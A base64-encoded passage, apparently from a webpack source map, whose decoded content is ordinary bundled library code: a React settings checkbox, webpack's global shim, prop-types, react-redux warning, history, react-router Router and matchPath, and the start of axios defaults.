RcdFx0XHRzdHlsZT17IHtcblx0XHRcdFx0XHRcdFx0XHRcdG1hcmdpbkxlZnQ6IDEwLFxuXHRcdFx0XHRcdFx0XHRcdFx0dmVydGljYWxBbGlnbjogJ21pZGRsZScsXG5cdFx0XHRcdFx0XHRcdFx0XHQnLS10b29sdGlwLXdpZHRoJzogJzE2NXB4J1xuXHRcdFx0XHRcdFx0XHRcdH0gfVxuXHRcdFx0XHRcdFx0XHRcdGRhdGEtdG9vbHRpcD17IHRoaXMucHJvcHMudG9vbHRpcCB9XG5cdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHQ8c3BhblxuXHRcdFx0XHRcdFx0XHRcdFx0Y2xhc3NOYW1lPVwic3VpLWljb24taW5mb1wiXG5cdFx0XHRcdFx0XHRcdFx0XHRhcmlhLWhpZGRlbj1cInRydWVcIlxuXHRcdFx0XHRcdFx0XHRcdFx0c3R5bGU9eyB7IHBvaW50ZXJFdmVudHM6ICdub25lJyB9IH1cblx0XHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0XHQ8L3NwYW4+XG5cdFx0XHRcdFx0XHQpfVxuXHRcdFx0XHRcdDwvc3Bhbj5cblx0XHRcdFx0fVxuXHRcdFx0PC9sYWJlbD5cblx0XHQpO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvc2V0dGluZ3MvaW5wdXRzL2NoZWNrYm94LmpzIiwidmFyIGc7XHJcblxyXG4vLyBUaGlzIHdvcmtzIGluIG5vbi1zdHJpY3QgbW9kZVxyXG5nID0gKGZ1bmN0aW9uKCkge1xyXG5cdHJldHVybiB0aGlzO1xyXG59KSgpO1xyXG5cclxudHJ5IHtcclxuXHQvLyBUaGlzIHdvcmtzIGlmIGV2YWwgaXMgYWxsb3dlZCAoc2VlIENTUClcclxuXHRnID0gZyB8fCBGdW5jdGlvbihcInJldHVybiB0aGlzXCIpKCkgfHwgKDEsZXZhbCkoXCJ0aGlzXCIpO1xyXG59IGNhdGNoKGUpIHtcclxuXHQvLyBUaGlzIHdvcmtzIGlmIHRoZSB3aW5kb3cgcmVmZXJlbmNlIGlzIGF2YWlsYWJsZVxyXG5cdGlmKHR5cGVvZiB3aW5kb3cgPT09IFwib2JqZWN0XCIpXHJcblx0XHRnID0gd2luZG93O1xyXG59XHJcblxyXG4vLyBnIGNhbiBzdGlsbCBiZSB1bmRlZmluZWQsIGJ1dCBub3RoaW5nIHRvIGRvIGFib3V0IGl0Li4uXHJcbi8vIFdlIHJldHVybiB1bmRlZmluZWQsIGluc3RlYWQgb2Ygbm90aGluZyBoZXJlLCBzbyBpdCdzXHJcbi8vIGVhc2llciB0byBoYW5kbGUgdGhpcyBjYXNlLiBpZighZ2xvYmFsKSB7IC4uLn1cclxuXHJcbm1vZHVsZS5leHBvcnRzID0gZztcclxuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gKHdlYnBhY2spL2J1aWxkaW4vZ2xvYmFsLmpzXG4vLyBtb2R1bGUgaWQgPSA0MlxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIi8qKlxuICogQ29weXJpZ2h0IChjKSAyMDEzLXByZXNlbnQsIEZhY2Vib29rLCBJbmMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKi9cblxuJ3VzZSBzdHJpY3QnO1xuXG52YXIgUmVhY3RQcm9wVHlwZXNTZWNyZXQgPSAnU0VDUkVUX0RPX05PVF9QQVNTX1RISVNfT1JfWU9VX1dJTExfQkVfRklSRUQnO1xuXG5tb2R1bGUuZXhwb3J0cyA9IFJlYWN0UHJvcFR5cGVzU2VjcmV0O1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcHJvcC10eXBlcy9saWIvUmVhY3RQcm9wVHlwZXNTZWNyZXQuanNcbi8vIG1vZHVsZSBpZCA9IDQ0XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiLyoqXG4gKiBQcmludHMgYSB3YXJuaW5nIGluIHRoZSBjb25zb2xlIGlmIGl0IGV4aXN0cy5cbiAqXG4gKiBAcGFyYW0ge1N0cmluZ30gbWVzc2FnZSBUaGUgd2FybmluZyBtZXNzYWdlLlxuICogQHJldHVybnMge3ZvaWR9XG4gKi9cbmV4cG9ydCBkZWZhdWx0IGZ1bmN0aW9uIHdhcm5pbmcobWVzc2FnZSkge1xuICAvKiBlc2xpbnQtZGlzYWJsZSBuby1jb25zb2xlICovXG4gIGlmICh0eXBlb2YgY29uc29sZSAhPT0gJ3VuZGVmaW5lZCcgJiYgdHlwZW9mIGNvbnNvbGUuZXJyb3IgPT09ICdmdW5jdGlvbicpIHtcbiAgICBjb25zb2xlLmVycm9yKG1lc3NhZ2UpO1xuICB9XG4gIC8qIGVzbGludC1lbmFibGUgbm8tY29uc29sZSAqL1xuICB0cnkge1xuICAgIC8vIFRoaXMgZXJyb3Igd2FzIHRocm93biBhcyBhIGNvbnZlbmllbmNlIHNvIHRoYXQgaWYgeW91IGVuYWJsZVxuICAgIC8vIFwiYnJlYWsgb24gYWxsIGV4Y2VwdGlvbnNcIiBpbiB5b3VyIGNvbnNvbGUsXG4gICAgLy8gaXQgd291bGQgcGF1c2UgdGhlIGV4ZWN1dGlvbiBhdCB0aGlzIGxpbmUuXG4gICAgdGhyb3cgbmV3IEVycm9yKG1lc3NhZ2UpO1xuICAgIC8qIGVzbGludC1kaXNhYmxlIG5vLWVtcHR5ICovXG4gIH0gY2F0Y2ggKGUpIHt9XG4gIC8qIGVzbGludC1lbmFibGUgbm8tZW1wdHkgKi9cbn1cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZWFjdC1yZWR1eC9lcy91dGlscy93YXJuaW5nLmpzXG4vLyBtb2R1bGUgaWQgPSA0NVxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsImltcG9ydCB3YXJuaW5nIGZyb20gJ3dhcm5pbmcnO1xuXG52YXIgY3JlYXRlVHJhbnNpdGlvbk1hbmFnZXIgPSBmdW5jdGlvbiBjcmVhdGVUcmFuc2l0aW9uTWFuYWdlcigpIHtcbiAgdmFyIHByb21wdCA9IG51bGw7XG5cbiAgdmFyIHNldFByb21wdCA9IGZ1bmN0aW9uIHNldFByb21wdChuZXh0UHJvbXB0KSB7XG4gICAgd2FybmluZyhwcm9tcHQgPT0gbnVsbCwgJ0EgaGlzdG9yeSBzdXBwb3J0cyBvbmx5IG9uZSBwcm9tcHQgYXQgYSB0aW1lJyk7XG5cbiAgICBwcm9tcHQgPSBuZXh0UHJvbXB0O1xuXG4gICAgcmV0dXJuIGZ1bmN0aW9uICgpIHtcbiAgICAgIGlmIChwcm9tcHQgPT09IG5leHRQcm9tcHQpIHByb21wdCA9IG51bGw7XG4gICAgfTtcbiAgfTtcblxuICB2YXIgY29uZmlybVRyYW5zaXRpb25UbyA9IGZ1bmN0aW9uIGNvbmZpcm1UcmFuc2l0aW9uVG8obG9jYXRpb24sIGFjdGlvbiwgZ2V0VXNlckNvbmZpcm1hdGlvbiwgY2FsbGJhY2spIHtcbiAgICAvLyBUT0RPOiBJZiBhbm90aGVyIHRyYW5zaXRpb24gc3RhcnRzIHdoaWxlIHdlJ3JlIHN0aWxsIGNvbmZpcm1pbmdcbiAgICAvLyB0aGUgcHJldmlvdXMgb25lLCB3ZSBtYXkgZW5kIHVwIGluIGEgd2VpcmQgc3RhdGUuIEZpZ3VyZSBvdXQgdGhlXG4gICAgLy8gYmVzdCB3YXkgdG8gaGFuZGxlIHRoaXMuXG4gICAgaWYgKHByb21wdCAhPSBudWxsKSB7XG4gICAgICB2YXIgcmVzdWx0ID0gdHlwZW9mIHByb21wdCA9PT0gJ2Z1bmN0aW9uJyA/IHByb21wdChsb2NhdGlvbiwgYWN0aW9uKSA6IHByb21wdDtcblxuICAgICAgaWYgKHR5cGVvZiByZXN1bHQgPT09ICdzdHJpbmcnKSB7XG4gICAgICAgIGlmICh0eXBlb2YgZ2V0VXNlckNvbmZpcm1hdGlvbiA9PT0gJ2Z1bmN0aW9uJykge1xuICAgICAgICAgIGdldFVzZXJDb25maXJtYXRpb24ocmVzdWx0LCBjYWxsYmFjayk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgd2FybmluZyhmYWxzZSwgJ0EgaGlzdG9yeSBuZWVkcyBhIGdldFVzZXJDb25maXJtYXRpb24gZnVuY3Rpb24gaW4gb3JkZXIgdG8gdXNlIGEgcHJvbXB0IG1lc3NhZ2UnKTtcblxuICAgICAgICAgIGNhbGxiYWNrKHRydWUpO1xuICAgICAgICB9XG4gICAgICB9IGVsc2Uge1xuICAgICAgICAvLyBSZXR1cm4gZmFsc2UgZnJvbSBhIHRyYW5zaXRpb24gaG9vayB0byBjYW5jZWwgdGhlIHRyYW5zaXRpb24uXG4gICAgICAgIGNhbGxiYWNrKHJlc3VsdCAhPT0gZmFsc2UpO1xuICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICBjYWxsYmFjayh0cnVlKTtcbiAgICB9XG4gIH07XG5cbiAgdmFyIGxpc3RlbmVycyA9IFtdO1xuXG4gIHZhciBhcHBlbmRMaXN0ZW5lciA9IGZ1bmN0aW9uIGFwcGVuZExpc3RlbmVyKGZuKSB7XG4gICAgdmFyIGlzQWN0aXZlID0gdHJ1ZTtcblxuICAgIHZhciBsaXN0ZW5lciA9IGZ1bmN0aW9uIGxpc3RlbmVyKCkge1xuICAgICAgaWYgKGlzQWN0aXZlKSBmbi5hcHBseSh1bmRlZmluZWQsIGFyZ3VtZW50cyk7XG4gICAgfTtcblxuICAgIGxpc3RlbmVycy5wdXNoKGxpc3RlbmVyKTtcblxuICAgIHJldHVybiBmdW5jdGlvbiAoKSB7XG4gICAgICBpc0FjdGl2ZSA9IGZhbHNlO1xuICAgICAgbGlzdGVuZXJzID0gbGlzdGVuZXJzLmZpbHRlcihmdW5jdGlvbiAoaXRlbSkge1xuICAgICAgICByZXR1cm4gaXRlbSAhPT0gbGlzdGVuZXI7XG4gICAgICB9KTtcbiAgICB9O1xuICB9O1xuXG4gIHZhciBub3RpZnlMaXN0ZW5lcnMgPSBmdW5jdGlvbiBub3RpZnlMaXN0ZW5lcnMoKSB7XG4gICAgZm9yICh2YXIgX2xlbiA9IGFyZ3VtZW50cy5sZW5ndGgsIGFyZ3MgPSBBcnJheShfbGVuKSwgX2tleSA9IDA7IF9rZXkgPCBfbGVuOyBfa2V5KyspIHtcbiAgICAgIGFyZ3NbX2tleV0gPSBhcmd1bWVudHNbX2tleV07XG4gICAgfVxuXG4gICAgbGlzdGVuZXJzLmZvckVhY2goZnVuY3Rpb24gKGxpc3RlbmVyKSB7XG4gICAgICByZXR1cm4gbGlzdGVuZXIuYXBwbHkodW5kZWZpbmVkLCBhcmdzKTtcbiAgICB9KTtcbiAgfTtcblxuICByZXR1cm4ge1xuICAgIHNldFByb21wdDogc2V0UHJvbXB0LFxuICAgIGNvbmZpcm1UcmFuc2l0aW9uVG86IGNvbmZpcm1UcmFuc2l0aW9uVG8sXG4gICAgYXBwZW5kTGlzdGVuZXI6IGFwcGVuZExpc3RlbmVyLFxuICAgIG5vdGlmeUxpc3RlbmVyczogbm90aWZ5TGlzdGVuZXJzXG4gIH07XG59O1xuXG5leHBvcnQgZGVmYXVsdCBjcmVhdGVUcmFuc2l0aW9uTWFuYWdlcjtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9oaXN0b3J5L2VzL2NyZWF0ZVRyYW5zaXRpb25NYW5hZ2VyLmpzXG4vLyBtb2R1bGUgaWQgPSA0NlxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIi8vIFdyaXR0ZW4gaW4gdGhpcyByb3VuZCBhYm91dCB3YXkgZm9yIGJhYmVsLXRyYW5zZm9ybS1pbXBvcnRzXG5pbXBvcnQgUm91dGVyIGZyb20gXCJyZWFjdC1yb3V0ZXIvZXMvUm91dGVyXCI7XG5cbmV4cG9ydCBkZWZhdWx0IFJvdXRlcjtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZWFjdC1yb3V0ZXItZG9tL2VzL1JvdXRlci5qc1xuLy8gbW9kdWxlIGlkID0gNDdcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJ2YXIgX2V4dGVuZHMgPSBPYmplY3QuYXNzaWduIHx8IGZ1bmN0aW9uICh0YXJnZXQpIHsgZm9yICh2YXIgaSA9IDE7IGkgPCBhcmd1bWVudHMubGVuZ3RoOyBpKyspIHsgdmFyIHNvdXJjZSA9IGFyZ3VtZW50c1tpXTsgZm9yICh2YXIga2V5IGluIHNvdXJjZSkgeyBpZiAoT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKHNvdXJjZSwga2V5KSkgeyB0YXJnZXRba2V5XSA9IHNvdXJjZVtrZXldOyB9IH0gfSByZXR1cm4gdGFyZ2V0OyB9O1xuXG5mdW5jdGlvbiBfY2xhc3NDYWxsQ2hlY2soaW5zdGFuY2UsIENvbnN0cnVjdG9yKSB7IGlmICghKGluc3RhbmNlIGluc3RhbmNlb2YgQ29uc3RydWN0b3IpKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb25cIik7IH0gfVxuXG5mdW5jdGlvbiBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybihzZWxmLCBjYWxsKSB7IGlmICghc2VsZikgeyB0aHJvdyBuZXcgUmVmZXJlbmNlRXJyb3IoXCJ0aGlzIGhhc24ndCBiZWVuIGluaXRpYWxpc2VkIC0gc3VwZXIoKSBoYXNuJ3QgYmVlbiBjYWxsZWRcIik7IH0gcmV0dXJuIGNhbGwgJiYgKHR5cGVvZiBjYWxsID09PSBcIm9iamVjdFwiIHx8IHR5cGVvZiBjYWxsID09PSBcImZ1bmN0aW9uXCIpID8gY2FsbCA6IHNlbGY7IH1cblxuZnVuY3Rpb24gX2luaGVyaXRzKHN1YkNsYXNzLCBzdXBlckNsYXNzKSB7IGlmICh0eXBlb2Ygc3VwZXJDbGFzcyAhPT0gXCJmdW5jdGlvblwiICYmIHN1cGVyQ2xhc3MgIT09IG51bGwpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcihcIlN1cGVyIGV4cHJlc3Npb24gbXVzdCBlaXRoZXIgYmUgbnVsbCBvciBhIGZ1bmN0aW9uLCBub3QgXCIgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXBlLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbmltcG9ydCB3YXJuaW5nIGZyb20gXCJ3YXJuaW5nXCI7XG5pbXBvcnQgaW52YXJpYW50IGZyb20gXCJpbnZhcmlhbnRcIjtcbmltcG9ydCBSZWFjdCBmcm9tIFwicmVhY3RcIjtcbmltcG9ydCBQcm9wVHlwZXMgZnJvbSBcInByb3AtdHlwZXNcIjtcblxuLyoqXG4gKiBUaGUgcHVibGljIEFQSSBmb3IgcHV0dGluZyBoaXN0b3J5IG9uIGNvbnRleHQuXG4gKi9cblxudmFyIFJvdXRlciA9IGZ1bmN0aW9uIChfUmVhY3QkQ29tcG9uZW50KSB7XG4gIF9pbmhlcml0cyhSb3V0ZXIsIF9SZWFjdCRDb21wb25lbnQpO1xuXG4gIGZ1bmN0aW9uIFJvdXRlcigpIHtcbiAgICB2YXIgX3RlbXAsIF90aGlzLCBfcmV0O1xuXG4gICAgX2NsYXNzQ2FsbENoZWNrKHRoaXMsIFJvdXRlcik7XG5cbiAgICBmb3IgKHZhciBfbGVuID0gYXJndW1lbnRzLmxlbmd0aCwgYXJncyA9IEFycmF5KF9sZW4pLCBfa2V5ID0gMDsgX2tleSA8IF9sZW47IF9rZXkrKykge1xuICAgICAgYXJnc1tfa2V5XSA9IGFyZ3VtZW50c1tfa2V5XTtcbiAgICB9XG5cbiAgICByZXR1cm4gX3JldCA9IChfdGVtcCA9IChfdGhpcyA9IF9wb3NzaWJsZUNvbnN0cnVjdG9yUmV0dXJuKHRoaXMsIF9SZWFjdCRDb21wb25lbnQuY2FsbC5hcHBseShfUmVhY3QkQ29tcG9uZW50LCBbdGhpc10uY29uY2F0KGFyZ3MpKSksIF90aGlzKSwgX3RoaXMuc3RhdGUgPSB7XG4gICAgICBtYXRjaDogX3RoaXMuY29tcHV0ZU1hdGNoKF90aGlzLnByb3BzLmhpc3RvcnkubG9jYXRpb24ucGF0aG5hbWUpXG4gICAgfSwgX3RlbXApLCBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybihfdGhpcywgX3JldCk7XG4gIH1cblxuICBSb3V0ZXIucHJvdG90eXBlLmdldENoaWxkQ29udGV4dCA9IGZ1bmN0aW9uIGdldENoaWxkQ29udGV4dCgpIHtcbiAgICByZXR1cm4ge1xuICAgICAgcm91dGVyOiBfZXh0ZW5kcyh7fSwgdGhpcy5jb250ZXh0LnJvdXRlciwge1xuICAgICAgICBoaXN0b3J5OiB0aGlzLnByb3BzLmhpc3RvcnksXG4gICAgICAgIHJvdXRlOiB7XG4gICAgICAgICAgbG9jYXRpb246IHRoaXMucHJvcHMuaGlzdG9yeS5sb2NhdGlvbixcbiAgICAgICAgICBtYXRjaDogdGhpcy5zdGF0ZS5tYXRjaFxuICAgICAgICB9XG4gICAgICB9KVxuICAgIH07XG4gIH07XG5cbiAgUm91dGVyLnByb3RvdHlwZS5jb21wdXRlTWF0Y2ggPSBmdW5jdGlvbiBjb21wdXRlTWF0Y2gocGF0aG5hbWUpIHtcbiAgICByZXR1cm4ge1xuICAgICAgcGF0aDogXCIvXCIsXG4gICAgICB1cmw6IFwiL1wiLFxuICAgICAgcGFyYW1zOiB7fSxcbiAgICAgIGlzRXhhY3Q6IHBhdGhuYW1lID09PSBcIi9cIlxuICAgIH07XG4gIH07XG5cbiAgUm91dGVyLnByb3RvdHlwZS5jb21wb25lbnRXaWxsTW91bnQgPSBmdW5jdGlvbiBjb21wb25lbnRXaWxsTW91bnQoKSB7XG4gICAgdmFyIF90aGlzMiA9IHRoaXM7XG5cbiAgICB2YXIgX3Byb3BzID0gdGhpcy5wcm9wcyxcbiAgICAgICAgY2hpbGRyZW4gPSBfcHJvcHMuY2hpbGRyZW4sXG4gICAgICAgIGhpc3RvcnkgPSBfcHJvcHMuaGlzdG9yeTtcblxuXG4gICAgaW52YXJpYW50KGNoaWxkcmVuID09IG51bGwgfHwgUmVhY3QuQ2hpbGRyZW4uY291bnQoY2hpbGRyZW4pID09PSAxLCBcIkEgPFJvdXRlcj4gbWF5IGhhdmUgb25seSBvbmUgY2hpbGQgZWxlbWVudFwiKTtcblxuICAgIC8vIERvIHRoaXMgaGVyZSBzbyB3ZSBjYW4gc2V0U3RhdGUgd2hlbiBhIDxSZWRpcmVjdD4gY2hhbmdlcyB0aGVcbiAgICAvLyBsb2NhdGlvbiBpbiBjb21wb25lbnRXaWxsTW91bnQuIFRoaXMgaGFwcGVucyBlLmcuIHdoZW4gZG9pbmdcbiAgICAvLyBzZXJ2ZXIgcmVuZGVyaW5nIHVzaW5nIGEgPFN0YXRpY1JvdXRlcj4uXG4gICAgdGhpcy51bmxpc3RlbiA9IGhpc3RvcnkubGlzdGVuKGZ1bmN0aW9uICgpIHtcbiAgICAgIF90aGlzMi5zZXRTdGF0ZSh7XG4gICAgICAgIG1hdGNoOiBfdGhpczIuY29tcHV0ZU1hdGNoKGhpc3RvcnkubG9jYXRpb24ucGF0aG5hbWUpXG4gICAgICB9KTtcbiAgICB9KTtcbiAgfTtcblxuICBSb3V0ZXIucHJvdG90eXBlLmNvbXBvbmVudFdpbGxSZWNlaXZlUHJvcHMgPSBmdW5jdGlvbiBjb21wb25lbnRXaWxsUmVjZWl2ZVByb3BzKG5leHRQcm9wcykge1xuICAgIHdhcm5pbmcodGhpcy5wcm9wcy5oaXN0b3J5ID09PSBuZXh0UHJvcHMuaGlzdG9yeSwgXCJZb3UgY2Fubm90IGNoYW5nZSA8Um91dGVyIGhpc3Rvcnk+XCIpO1xuICB9O1xuXG4gIFJvdXRlci5wcm90b3R5cGUuY29tcG9uZW50V2lsbFVubW91bnQgPSBmdW5jdGlvbiBjb21wb25lbnRXaWxsVW5tb3VudCgpIHtcbiAgICB0aGlzLnVubGlzdGVuKCk7XG4gIH07XG5cbiAgUm91dGVyLnByb3RvdHlwZS5yZW5kZXIgPSBmdW5jdGlvbiByZW5kZXIoKSB7XG4gICAgdmFyIGNoaWxkcmVuID0gdGhpcy5wcm9wcy5jaGlsZHJlbjtcblxuICAgIHJldHVybiBjaGlsZHJlbiA/IFJlYWN0LkNoaWxkcmVuLm9ubHkoY2hpbGRyZW4pIDogbnVsbDtcbiAgfTtcblxuICByZXR1cm4gUm91dGVyO1xufShSZWFjdC5Db21wb25lbnQpO1xuXG5Sb3V0ZXIucHJvcFR5cGVzID0ge1xuICBoaXN0b3J5OiBQcm9wVHlwZXMub2JqZWN0LmlzUmVxdWlyZWQsXG4gIGNoaWxkcmVuOiBQcm9wVHlwZXMubm9kZVxufTtcblJvdXRlci5jb250ZXh0VHlwZXMgPSB7XG4gIHJvdXRlcjogUHJvcFR5cGVzLm9iamVjdFxufTtcblJvdXRlci5jaGlsZENvbnRleHRUeXBlcyA9IHtcbiAgcm91dGVyOiBQcm9wVHlwZXMub2JqZWN0LmlzUmVxdWlyZWRcbn07XG5cblxuZXhwb3J0IGRlZmF1bHQgUm91dGVyO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJvdXRlci9lcy9Sb3V0ZXIuanNcbi8vIG1vZHVsZSBpZCA9IDQ4XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiaW1wb3J0IHBhdGhUb1JlZ2V4cCBmcm9tIFwicGF0aC10by1yZWdleHBcIjtcblxudmFyIHBhdHRlcm5DYWNoZSA9IHt9O1xudmFyIGNhY2hlTGltaXQgPSAxMDAwMDtcbnZhciBjYWNoZUNvdW50ID0gMDtcblxudmFyIGNvbXBpbGVQYXRoID0gZnVuY3Rpb24gY29tcGlsZVBhdGgocGF0dGVybiwgb3B0aW9ucykge1xuICB2YXIgY2FjaGVLZXkgPSBcIlwiICsgb3B0aW9ucy5lbmQgKyBvcHRpb25zLnN0cmljdCArIG9wdGlvbnMuc2Vuc2l0aXZlO1xuICB2YXIgY2FjaGUgPSBwYXR0ZXJuQ2FjaGVbY2FjaGVLZXldIHx8IChwYXR0ZXJuQ2FjaGVbY2FjaGVLZXldID0ge30pO1xuXG4gIGlmIChjYWNoZVtwYXR0ZXJuXSkgcmV0dXJuIGNhY2hlW3BhdHRlcm5dO1xuXG4gIHZhciBrZXlzID0gW107XG4gIHZhciByZSA9IHBhdGhUb1JlZ2V4cChwYXR0ZXJuLCBrZXlzLCBvcHRpb25zKTtcbiAgdmFyIGNvbXBpbGVkUGF0dGVybiA9IHsgcmU6IHJlLCBrZXlzOiBrZXlzIH07XG5cbiAgaWYgKGNhY2hlQ291bnQgPCBjYWNoZUxpbWl0KSB7XG4gICAgY2FjaGVbcGF0dGVybl0gPSBjb21waWxlZFBhdHRlcm47XG4gICAgY2FjaGVDb3VudCsrO1xuICB9XG5cbiAgcmV0dXJuIGNvbXBpbGVkUGF0dGVybjtcbn07XG5cbi8qKlxuICogUHVibGljIEFQSSBmb3IgbWF0Y2hpbmcgYSBVUkwgcGF0aG5hbWUgdG8gYSBwYXRoIHBhdHRlcm4uXG4gKi9cbnZhciBtYXRjaFBhdGggPSBmdW5jdGlvbiBtYXRjaFBhdGgocGF0aG5hbWUpIHtcbiAgdmFyIG9wdGlvbnMgPSBhcmd1bWVudHMubGVuZ3RoID4gMSAmJiBhcmd1bWVudHNbMV0gIT09IHVuZGVmaW5lZCA/IGFyZ3VtZW50c1sxXSA6IHt9O1xuICB2YXIgcGFyZW50ID0gYXJndW1lbnRzWzJdO1xuXG4gIGlmICh0eXBlb2Ygb3B0aW9ucyA9PT0gXCJzdHJpbmdcIikgb3B0aW9ucyA9IHsgcGF0aDogb3B0aW9ucyB9O1xuXG4gIHZhciBfb3B0aW9ucyA9IG9wdGlvbnMsXG4gICAgICBwYXRoID0gX29wdGlvbnMucGF0aCxcbiAgICAgIF9vcHRpb25zJGV4YWN0ID0gX29wdGlvbnMuZXhhY3QsXG4gICAgICBleGFjdCA9IF9vcHRpb25zJGV4YWN0ID09PSB1bmRlZmluZWQgPyBmYWxzZSA6IF9vcHRpb25zJGV4YWN0LFxuICAgICAgX29wdGlvbnMkc3RyaWN0ID0gX29wdGlvbnMuc3RyaWN0LFxuICAgICAgc3RyaWN0ID0gX29wdGlvbnMkc3RyaWN0ID09PSB1bmRlZmluZWQgPyBmYWxzZSA6IF9vcHRpb25zJHN0cmljdCxcbiAgICAgIF9vcHRpb25zJHNlbnNpdGl2ZSA9IF9vcHRpb25zLnNlbnNpdGl2ZSxcbiAgICAgIHNlbnNpdGl2ZSA9IF9vcHRpb25zJHNlbnNpdGl2ZSA9PT0gdW5kZWZpbmVkID8gZmFsc2UgOiBfb3B0aW9ucyRzZW5zaXRpdmU7XG5cblxuICBpZiAocGF0aCA9PSBudWxsKSByZXR1cm4gcGFyZW50O1xuXG4gIHZhciBfY29tcGlsZVBhdGggPSBjb21waWxlUGF0aChwYXRoLCB7IGVuZDogZXhhY3QsIHN0cmljdDogc3RyaWN0LCBzZW5zaXRpdmU6IHNlbnNpdGl2ZSB9KSxcbiAgICAgIHJlID0gX2NvbXBpbGVQYXRoLnJlLFxuICAgICAga2V5cyA9IF9jb21waWxlUGF0aC5rZXlzO1xuXG4gIHZhciBtYXRjaCA9IHJlLmV4ZWMocGF0aG5hbWUpO1xuXG4gIGlmICghbWF0Y2gpIHJldHVybiBudWxsO1xuXG4gIHZhciB1cmwgPSBtYXRjaFswXSxcbiAgICAgIHZhbHVlcyA9IG1hdGNoLnNsaWNlKDEpO1xuXG4gIHZhciBpc0V4YWN0ID0gcGF0aG5hbWUgPT09IHVybDtcblxuICBpZiAoZXhhY3QgJiYgIWlzRXhhY3QpIHJldHVybiBudWxsO1xuXG4gIHJldHVybiB7XG4gICAgcGF0aDogcGF0aCwgLy8gdGhlIHBhdGggcGF0dGVybiB1c2VkIHRvIG1hdGNoXG4gICAgdXJsOiBwYXRoID09PSBcIi9cIiAmJiB1cmwgPT09IFwiXCIgPyBcIi9cIiA6IHVybCwgLy8gdGhlIG1hdGNoZWQgcG9ydGlvbiBvZiB0aGUgVVJMXG4gICAgaXNFeGFjdDogaXNFeGFjdCwgLy8gd2hldGhlciBvciBub3Qgd2UgbWF0Y2hlZCBleGFjdGx5XG4gICAgcGFyYW1zOiBrZXlzLnJlZHVjZShmdW5jdGlvbiAobWVtbywga2V5LCBpbmRleCkge1xuICAgICAgbWVtb1trZXkubmFtZV0gPSB2YWx1ZXNbaW5kZXhdO1xuICAgICAgcmV0dXJuIG1lbW87XG4gICAgfSwge30pXG4gIH07XG59O1xuXG5leHBvcnQgZGVmYXVsdCBtYXRjaFBhdGg7XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcmVhY3Qtcm91dGVyL2VzL21hdGNoUGF0aC5qc1xuLy8gbW9kdWxlIGlkID0gNDlcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIndXNlIHN0cmljdCc7XG5cbnZhciB1dGlscyA9IHJlcXVpcmUoJy4vdXRpbHMnKTtcbnZhciBub3JtYWxpemVIZWFkZXJOYW1lID0gcmVxdWlyZSgnLi9oZWxwZXJzL25vcm1hbGl6ZUhlYWRlck5hbWUnKTtcblxudmFyIERFRkFVTFRfQ09OVEVOVF9UWVBFID0ge1xuICAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCdcbn07XG5cbmZ1bmN0aW9uIHNldENvbnRlbnRUeXBlSWZVbnNldChoZWFkZXJzLCB2YWx1ZSkge1xuICBpZiAoIXV0aWxzLmlzVW5kZWZpbmVkKGhlYWRlcnMpICYmI